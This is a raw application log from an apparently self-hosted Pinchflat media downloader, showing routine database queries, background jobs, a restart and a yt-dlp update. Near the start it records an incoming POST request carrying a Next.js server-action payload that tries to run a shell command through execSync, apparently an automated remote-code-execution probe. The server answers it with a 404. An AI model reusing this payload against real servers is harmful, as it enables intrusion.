s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:05:47.156 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:05:47.156 [error] #PID<0.5511.0> running PinchflatWeb.Endpoint (connection #PID<0.5509.0>, stream id 2) terminated Server: pinchflat.oddbox.tech:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5509.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41550}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "connection" => "Upgrade", "content-length" => "643", "content-type" => "multipart/form-data; boundary=b51cfa0250285f4f8c488d6abb5b7d94382070334db6f33c81ca7740176f", "host" => "pinchflat.oddbox.tech", "next-action" => "x", "origin" => "https://pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "85.11.167.19", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-real-ip" => "85.11.167.19" }, method: "POST", body_length: 643, path_info: :undefined, qs: "", streamid: 2, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo TEST_1774159546',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}", "1" => "\"$@0\"" }, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "POST", owner: #PID<0.5511.0>, params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo TEST_1774159546',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}", "1" => "\"$@0\"" }, path_info: [], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/x-component"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"connection", "Upgrade"}, {"content-length", "643"}, {"content-type", "multipart/form-data; boundary=b51cfa0250285f4f8c488d6abb5b7d94382070334db6f33c81ca7740176f"}, {"host", "pinchflat.oddbox.tech"}, {"next-action", "x"}, {"origin", "https://pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "85.11.167.19"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-real-ip", "85.11.167.19"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8UtU8KPZiUKTQAAGSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5509.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41550}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "connection" => "Upgrade", "content-length" => "643", "content-type" => "multipart/form-data; boundary=b51cfa0250285f4f8c488d6abb5b7d94382070334db6f33c81ca7740176f", "host" => "pinchflat.oddbox.tech", "next-action" => "x", "origin" => "https://pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "85.11.167.19", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-real-ip" => "85.11.167.19" }, method: "POST", body_length: 643, path_info: :undefined, qs: "", streamid: 2, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5509.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41550}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, (truncated) 23:06:00.689 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:06:16.196 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:46.198 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.690 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:07:16.200 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:46.202 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.691 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:08:10.468 [info] GET / 23:08:10.469 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 23:08:10.469 [debug] QUERY OK source="settings" db=0.3ms idle=1798.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:10.470 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1011.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:08:10.470 [debug] QUERY OK source="sources" db=0.2ms idle=799.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:08:10.471 [debug] QUERY OK source="media_items" db=1.2ms idle=800.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:08:10.472 [debug] QUERY OK source="media_items" db=0.7ms idle=11.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:08:10.473 [debug] QUERY OK source="settings" db=0.5ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:10.474 [debug] QUERY OK source="settings" db=0.5ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:10.476 [debug] QUERY OK source="settings" db=0.2ms queue=1.2ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:10.477 [debug] QUERY OK source="tasks" db=0.2ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:08:10.478 [debug] QUERY OK source="media_items" db=0.6ms idle=5.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:08:10.479 [debug] QUERY OK source="media_items" db=1.0ms idle=5.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:08:10.482 [debug] QUERY OK source="media_items" db=1.8ms idle=6.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:08:10.483 [debug] QUERY OK source="media_items" db=0.8ms idle=6.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:08:10.484 [debug] QUERY OK source="sources" db=0.4ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:08:10.486 [info] Sent 200 in 17ms 23:08:16.204 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:46.206 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.693 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:09:16.208 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:46.210 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.694 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:10:16.212 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:46.214 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.696 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:11:16.216 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:46.218 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.699 [info] {"source":"oban","duration":2536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:12:16.220 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:46.222 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.700 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:13:16.223 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:46.226 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.701 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:14:16.228 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:46.230 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.703 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:15:16.232 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:46.234 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.704 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:16:16.235 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:38.506 [notice] SIGTERM received - shutting down 23:16:38.532 [info] DRAINING 1 of 1 total connection(s) for socket Phoenix.LiveView.Socket every 2000ms - round 1 of 1 23:16:38.934 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 23:17:21.671 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 23:17:21.675 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 23:17:21.680 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 23:17:21.680 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 23:17:21.684 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 23:17:21.693 [debug] QUERY OK source="oban_jobs" db=4.8ms queue=17.2ms idle=0.0ms UPDATE "oban_jobs" AS o0 SET "state" = ? WHERE (o0."state" = 'executing') ["retryable"] 23:17:21.693 [info] Reset 0 executing jobs 23:17:21.694 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 23:17:28.623 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2025.09.26 23:17:28.623 [info] [command_wrapper]: /usr/local/bin/apprise called with: --version 23:17:29.373 [debug] [command_wrapper]: /usr/local/bin/apprise called with: --version exited: 0 with: Apprise v1.9.4 Copyright (C) 2025 Chris Caron This code is licensed under the BSD 2-Clause License. 23:17:29.380 [debug] QUERY OK source="settings" db=3.5ms queue=0.5ms idle=1710.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:29.384 [debug] QUERY OK source="settings" db=3.7ms idle=1714.8ms UPDATE "settings" SET "yt_dlp_version" = ? WHERE "id" = ? ["2025.09.26", 1] 23:17:29.385 [debug] QUERY OK source="settings" db=1.0ms idle=1718.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:29.388 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:17:29.396 [info] {"message":"notifier only receiving messages from its own node, functionality may be degraded","source":"oban","event":"notifier:switch","connectivity_status":"solitary"} 23:17:29.408 [info] Running PinchflatWeb.Endpoint with cowboy 2.13.0 at 0.0.0.0:8945 (http) 23:17:29.416 [info] Access PinchflatWeb.Endpoint at http://localhost:8945 23:17:29.433 [info] {"args":{},"id":253,"meta":{},"system_time":1774160249433358963,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 23:17:29.433 [info] Updating yt-dlp 23:17:29.433 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 23:17:32.349 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Current version: stable@2025.09.26 from yt-dlp/yt-dlp Latest version: stable@2026.03.17 from yt-dlp/yt-dlp Current Build Hash: d2f07382138f4bd882254996502636f5a67a8c5ee5ab8a25807e2784a4878642 Updating to stable@2026.03.17 from yt-dlp/yt-dlp ... Updated yt-dlp to stable@2026.03.17 from yt-dlp/yt-dlp 23:17:32.350 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 23:17:33.294 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.03.17 23:17:33.297 [debug] QUERY OK source="settings" db=1.0ms idle=1630.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:33.298 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=885.4ms UPDATE "settings" SET "yt_dlp_version" = ? WHERE "id" = ? ["2026.03.17", 1] 23:17:33.302 [info] {"args":{},"id":253,"meta":{},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":3865199,"event":"job:stop","queue_time":427981,"attempt":1,"tags":["local_data"]} 23:17:50.121 [info] CONNECTED TO Phoenix.LiveView.Socket in 40µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "IQsNOgY8MAFBLBYUamF9OSMPVQ8tCBBCkX4iRYjw8YNQYR2OpZ77eBX0", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "1", "_track_static" => %{"0" => "https://pinchflat.oddbox.tech/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.oddbox.tech/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:17:50.244 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JS9STeZvyuXE33OvSUb8HJHr"} 23:17:50.244 [debug] Replied in 166µs 23:17:50.371 [debug] HANDLE EVENT "check_matching_text" in Pinchflat.UpgradeButtonLive Parameters: %{"_target" => ["unlock-pro-textbox"], "_unused_unlock-pro-textbox" => "", "unlock-pro-textbox" => ""} 23:17:50.371 [debug] Replied in 161µs 23:17:59.392 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.392 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:18:29.395 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:59.397 [info] {"source":"oban","duration":1942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.393 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:19:29.400 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:59.402 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.398 [info] {"source":"oban","duration":4275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:20:29.403 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:59.406 [info] {"source":"oban","duration":1887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.403 [info] {"source":"oban","duration":3713,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:21:29.408 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:59.410 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.405 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:22:29.412 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:59.414 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.406 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:23:29.416 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:59.417 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.407 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:24:29.419 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:59.421 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.408 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:25:29.424 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:59.425 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.409 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:26:29.428 [info] {"source":"oban","duration":1733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:59.430 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.410 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:27:16.138 [info] GET / 23:27:16.138 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 23:27:16.139 [debug] QUERY OK source="settings" db=0.3ms idle=1466.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:27:16.140 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.2ms idle=1466.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:27:16.140 [debug] QUERY OK source="sources" db=0.2ms queue=0.2ms idle=1467.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:27:16.172 [debug] QUERY OK source="media_items" db=31.3ms queue=0.5ms idle=527.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:27:16.173 [debug] QUERY OK source="media_items" db=0.3ms 